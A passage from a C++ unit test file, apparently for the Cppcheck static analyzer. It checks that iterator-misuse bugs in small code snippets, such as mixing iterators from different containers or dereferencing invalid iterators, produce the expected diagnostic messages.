std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n 